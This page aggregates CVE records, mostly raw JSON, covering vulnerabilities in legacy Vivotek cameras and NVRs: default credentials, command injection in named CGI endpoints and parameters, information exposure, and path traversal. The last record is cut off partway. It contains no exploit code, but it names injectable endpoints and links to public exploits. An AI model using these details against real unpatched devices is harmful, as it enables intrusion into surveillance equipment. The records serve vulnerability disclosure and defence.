Vulnerability from nvd – Published: 2025-11-19 12:30 – Updated: 2025-11-19 16:07
VLAI
EPSS
VEX
Title
Use of default login credentials in Legacy Vivotek Devices
Summary
Legacy Vivotek Device firmware uses default credetials for the root and user login accounts.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-1392 - CWE-1392: Use of Default Credentials
Assigner
References
Impacted products
1 product
Date Public
2025-11-02 17:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-12592",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-11-19T16:07:31.532330Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-11-19T16:07:56.677Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/",
"defaultStatus": "unaffected",
"modules": [
"Firmware"
],
"product": "Affected device model numbers are FD7131-VVTK,FD7131-VVTK,FD7131-VVTK,FD7141-VVTK,IP7131-VVTK,IP7133-VVTK,IP7133-VVTK,IP7133-VVTK,IP7134-VVTK,IP7135-VVTK,IP7135-VVTK,IP7135-VVTK,IP7135-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7137-VVTK,IP7138-VVTK,IP7142-VVTK,IP7142-VVTK,IP7151-VVTK,IP7152-VVTK,IP7153-VVTK,IP7153-VVTK,IP7154-VVTK,IP7330-VVTK,IP7330-VVTK,IP7330-VVTK,IP8131-VVTK,IP8131-VVTK,IP8131-VVTK,IP8131W-VVTK,PT7135-VVTK,PT7137-TCON,PT7137-VVTK,PT7137-VVTK,PT7137-VVTK,PT7137-VVTK,PZ7131-VVTK,PZ7131-VVTK,PZ71X1-VVTK,PZ71X1-VVTK,PZ71X2-VVTK,SD73X3-VVTK,SD73X3-VVTK,SD73X3-VVTK,TC5330-VVTK,TC5332-TCVV,TC5333-TCVV,TC5633-TCVV,TC5633-VVTK,VS7100-VVTK,VS7100-VVTK,VS7100-VVTK",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0100b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0100e"
},
{
"status": "affected",
"version": "0100e1"
},
{
"status": "affected",
"version": "0100e2"
},
{
"status": "affected",
"version": "0100f"
},
{
"status": "affected",
"version": "0100g"
},
{
"status": "affected",
"version": "0100i"
},
{
"status": "affected",
"version": "0101c"
},
{
"status": "affected",
"version": "0103c"
},
{
"status": "affected",
"version": "0199z"
},
{
"status": "affected",
"version": "0200a"
},
{
"status": "affected",
"version": "0200b"
},
{
"status": "affected",
"version": "0200c"
},
{
"status": "affected",
"version": "0200g"
},
{
"status": "affected",
"version": "0201a"
},
{
"status": "affected",
"version": "0201a1"
},
{
"status": "affected",
"version": "0201c"
},
{
"status": "affected",
"version": "0201k"
},
{
"status": "affected",
"version": "0202a"
},
{
"status": "affected",
"version": "0202b"
},
{
"status": "affected",
"version": "0203a"
},
{
"status": "affected",
"version": "0300a"
},
{
"status": "affected",
"version": "0300b"
},
{
"status": "affected",
"version": "0301b3"
},
{
"status": "affected",
"version": "0302a"
},
{
"status": "affected",
"version": "0302c"
},
{
"status": "affected",
"version": "0400a"
},
{
"status": "affected",
"version": "0400b"
},
{
"status": "affected",
"version": "0401a"
},
{
"status": "affected",
"version": "0500a"
},
{
"status": "affected",
"version": "0500b"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Larry W. Cashdollar"
}
],
"datePublic": "2025-11-02T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Legacy Vivotek Device firmware uses default credetials for the root and user login accounts."
}
],
"value": "Legacy Vivotek Device firmware uses default credetials for the root and user login accounts."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Public"
}
],
"value": "Public"
}
],
"impacts": [
{
"capecId": "CAPEC-70",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-70 Try Common or Default Usernames and Passwords"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "NONE",
"providerUrgency": "RED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/AU:Y/U:Red",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1392",
"description": "CWE-1392 CWE-1392: Use of Default Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-11-19T12:30:32.854Z",
"orgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"shortName": "larry_cashdollar"
},
"references": [
{
"url": "https://www.akamai.com/blog/security-research/rce-zero-day-in-legacy-vivotek-firmware"
},
{
"url": "http://www.vapidlabs.com/advisory.php?v=219"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Use of default login credentials in Legacy Vivotek Devices",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"assignerShortName": "larry_cashdollar",
"cveId": "CVE-2025-12592",
"datePublished": "2025-11-19T12:30:32.854Z",
"dateReserved": "2025-11-01T12:15:08.915Z",
"dateUpdated": "2025-11-19T16:07:56.677Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-3403 (GCVE-0-2025-3403)
Vulnerability from nvd – Published: 2025-04-08 03:00 – Updated: 2025-04-08 18:24
VLAI
EPSS
VEX
Title
Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source
Summary
A vulnerability was found in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101. It has been classified as problematic. Affected is an unknown function of the component HTML Form Handler. The manipulation leads to inclusion of sensitive information in source code. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuldb.com/?id.303648 | vdb-entry |
| https://vuldb.com/?ctiid.303648 | signaturepermissions-required |
| https://vuldb.com/?submit.543589 | third-party-advisory |
| https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/… | exploit |
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Vivotek | NVR ND8422P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
|
| Vivotek | NVR ND9525P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
|
| Vivotek | NVR ND9541P |
Affected:
2.4.0.204
Affected: 3.3.0.104 Affected: 4.2.0.101 |
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-3403",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-04-08T15:46:08.310718Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-04-08T18:24:22.074Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/main/README.md"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND8422P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
},
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND9525P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
},
{
"modules": [
"HTML Form Handler"
],
"product": "NVR ND9541P",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "2.4.0.204"
},
{
"status": "affected",
"version": "3.3.0.104"
},
{
"status": "affected",
"version": "4.2.0.101"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Syrtain (VulDB User)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A vulnerability was found in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101. It has been classified as problematic. Affected is an unknown function of the component HTML Form Handler. The manipulation leads to inclusion of sensitive information in source code. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way."
},
{
"lang": "de",
"value": "Es wurde eine problematische Schwachstelle in Vivotek NVR ND8422P, NVR ND9525P and NVR ND9541P 2.4.0.204/3.3.0.104/4.2.0.101 ausgemacht. Dabei betrifft es einen unbekannter Codeteil der Komponente HTML Form Handler. Durch Manipulation mit unbekannten Daten kann eine inclusion of sensitive information in source code-Schwachstelle ausgenutzt werden. Die Umsetzung des Angriffs kann dabei \u00fcber das Netzwerk erfolgen. Der Exploit steht zur \u00f6ffentlichen Verf\u00fcgung."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
}
},
{
"cvssV3_1": {
"baseScore": 2.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 2.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"version": "3.0"
}
},
{
"cvssV2_0": {
"baseScore": 3.3,
"vectorString": "AV:N/AC:L/Au:M/C:P/I:N/A:N",
"version": "2.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-540",
"description": "Inclusion of Sensitive Information in Source Code",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "Information Disclosure",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-04-08T03:00:11.278Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"name": "VDB-303648 | Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source",
"tags": [
"vdb-entry"
],
"url": "https://vuldb.com/?id.303648"
},
{
"name": "VDB-303648 | CTI Indicators (IOB, IOC, TTP)",
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.303648"
},
{
"name": "Submit #543589 | VIVOTEK NVR Core + 4.2.0.101 and below Cleartext Storage of Sensitive Information in GUI",
"tags": [
"third-party-advisory"
],
"url": "https://vuldb.com/?submit.543589"
},
{
"tags": [
"exploit"
],
"url": "https://github.com/lfparizzi/CVE-VIVOTEK-ID/blob/main/README.md"
}
],
"timeline": [
{
"lang": "en",
"time": "2025-04-07T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2025-04-07T02:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2025-04-07T12:27:05.000Z",
"value": "VulDB entry last update"
}
],
"title": "Vivotek NVR ND8422P/NVR ND9525P/NVR ND9541P HTML Form sensitive information in source"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2025-3403",
"datePublished": "2025-04-08T03:00:11.278Z",
"dateReserved": "2025-04-07T10:22:01.598Z",
"dateUpdated": "2025-04-08T18:24:22.074Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2026-22755 (GCVE-0-2026-22755)
Vulnerability from cvelistv5 – Published: 2026-01-13 15:12 – Updated: 2026-01-20 20:33
VLAI
EPSS
VEX
Title
Legacy Vivotek Camera Firmware Command Injection in upload_map.cgi
Summary
Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.This issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Vivotek | Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 |
Affected:
0100a
(custom)
Affected: 0106a (custom) Affected: 0106b (custom) Affected: 0107a (custom) Affected: 0107b_1 (custom) Affected: 0109a (custom) Affected: 0112a (custom) Affected: 0113a (custom) Affected: 0113d (custom) Affected: 0117b (custom) Affected: 0119e (custom) Affected: 0120b (custom) Affected: 0121 (custom) Affected: 0121d (custom) Affected: 0121d_48573_1 (custom) Affected: 0122e (custom) Affected: 0124d_48573_1 (custom) Affected: 012501 (custom) Affected: 012502 (custom) Affected: 0125c (custom) |
Date Public
2026-01-08 17:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-22755",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-13T15:29:25.879272Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-13T15:29:57.030Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://ftpmirror.your.org/pub/misc/ftp.vivotek.com/Firmware/",
"defaultStatus": "unaffected",
"modules": [
"Firmware"
],
"product": "Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0100a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0106a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0106b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0107a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0107b_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "0109a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0112a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0113a",
"versionType": "custom"
},
{
"status": "affected",
"version": "0113d",
"versionType": "custom"
},
{
"status": "affected",
"version": "0117b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0119e",
"versionType": "custom"
},
{
"status": "affected",
"version": "0120b",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121d",
"versionType": "custom"
},
{
"status": "affected",
"version": "0121d_48573_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "0122e",
"versionType": "custom"
},
{
"status": "affected",
"version": "0124d_48573_1",
"versionType": "custom"
},
{
"status": "affected",
"version": "012501",
"versionType": "custom"
},
{
"status": "affected",
"version": "012502",
"versionType": "custom"
},
{
"status": "affected",
"version": "0125c",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Larry W. Cashdollar"
}
],
"datePublic": "2026-01-08T17:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.\u003cp\u003eThis issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c.\u003c/p\u003e"
}
],
"value": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in Vivotek Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330 (Firmware modules) allows OS Command Injection.This issue affects Affected device model numbers are FD8365, FD8365v2, FD9165, FD9171, FD9187, FD9189, FD9365, FD9371, FD9381, FD9387, FD9389, FD9391,FE9180,FE9181, FE9191, FE9381, FE9382, FE9391, FE9582, IB9365, IB93587LPR, IB9371,IB9381, IB9387, IB9389, IB939,IP9165,IP9171, IP9172, IP9181, IP9191, IT9389, MA9321, MA9322, MS9321, MS9390, TB9330: 0100a, 0106a, 0106b, 0107a, 0107b_1, 0109a, 0112a, 0113a, 0113d, 0117b, 0119e, 0120b, 0121, 0121d, 0121d_48573_1, 0122e, 0124d_48573_1, 012501, 012502, 0125c."
}
],
"exploits": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Not public but easy to reproduce."
}
],
"value": "Not public but easy to reproduce."
}
],
"impacts": [
{
"capecId": "CAPEC-88",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-88 OS Command Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "YES",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "PROOF_OF_CONCEPT",
"privilegesRequired": "NONE",
"providerUrgency": "AMBER",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/AU:Y/U:Amber",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-77",
"description": "CWE-77 Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-20T20:33:02.780Z",
"orgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"shortName": "larry_cashdollar"
},
"references": [
{
"url": "http://www.vapidlabs.com/advisory.php?v=220"
},
{
"url": "https://www.akamai.com/blog/security-research/command-injection-vivotek-legacy-firmware-need-to-know"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Legacy Vivotek Camera Firmware Command Injection in upload_map.cgi",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "461b2335-328f-427d-ae3d-eff7d6814455",
"assignerShortName": "larry_cashdollar",
"cveId": "CVE-2026-22755",
"datePublished": "2026-01-13T15:12:53.126Z",
"dateReserved": "2026-01-09T14:27:11.646Z",
"dateUpdated": "2026-01-20T20:33:02.780Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66052 (GCVE-0-2025-66052)
Vulnerability from cvelistv5 – Published: 2026-01-09 11:54 – Updated: 2026-01-09 12:51 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Command injection in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter "system_ntpIt" used by "/cgi-bin/admin/setparam.cgi" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,
The vendor has not replied to the CNA Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:50
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66052",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T12:50:56.686031Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T12:51:10.558Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"product": "IP7137",
"vendor": "Vivotek",
"versions": [
{
"status": "affected",
"version": "0200a",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Szymon Paszun"
}
],
"datePublic": "2026-01-09T11:50:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter \"system_ntpIt\" used by \"/cgi-bin/admin/setparam.cgi\" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,\u0026nbsp;\u003cbr\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eThe vendor has not replied to the CNA Possibly all firmware versions are affected. \u003c/span\u003eSince the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"value": "Vivotek IP7137 camera with firmware version 0200a is vulnerable to command injection. Parameter \"system_ntpIt\" used by \"/cgi-bin/admin/setparam.cgi\" endpoint is not sanitized properly, allowing a user with administrative privileges to perform an attack. Due to CVE-2025-66050, administrative access is not protected by default,\u00a0\nThe vendor has not replied to the CNA Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"privilegesRequired": "HIGH",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-78",
"description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T11:54:16.626Z",
"orgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"shortName": "CERT-PL"
},
"references": [
{
"tags": [
"third-party-advisory"
],
"url": "https://cert.pl/posts/2026/01/CVE-2025-66049"
}
],
"source": {
"discovery": "EXTERNAL"
},
"tags": [
"unsupported-when-assigned"
],
"title": "Command injection in Vivotek IP7137 cameras",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "4bb8329e-dd38-46c1-aafb-9bf32bcb93c6",
"assignerShortName": "CERT-PL",
"cveId": "CVE-2025-66052",
"datePublished": "2026-01-09T11:54:16.626Z",
"dateReserved": "2025-11-21T10:41:30.020Z",
"dateUpdated": "2026-01-09T12:51:10.558Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-66051 (GCVE-0-2025-66051)
Vulnerability from cvelistv5 – Published: 2026-01-09 11:54 – Updated: 2026-01-09 14:07 Unsupported When Assigned
VLAI
EPSS
VEX
Title
Path traversal in Vivotek IP7137 cameras
Summary
Vivotek IP7137 camera with firmware version 0200a is vulnerable to path traversal. It is possible for an authenticated attacker to access resources beyond webroot directory using a direct HTTP request. Due to CVE-2025-66050, a password for administration panel is not set by default.
The vendor has not replied to the CNA. Possibly all firmware versions are affected. Since the product has met End-Of-Life phase, a fix is not expected to be released.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://cert.pl/posts/2026/01/CVE-2025-66049 | third-party-advisory |
Date Public
2026-01-09 11:22
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-66051",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-09T14:06:46.935487Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-01-09T14:07:13.457Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
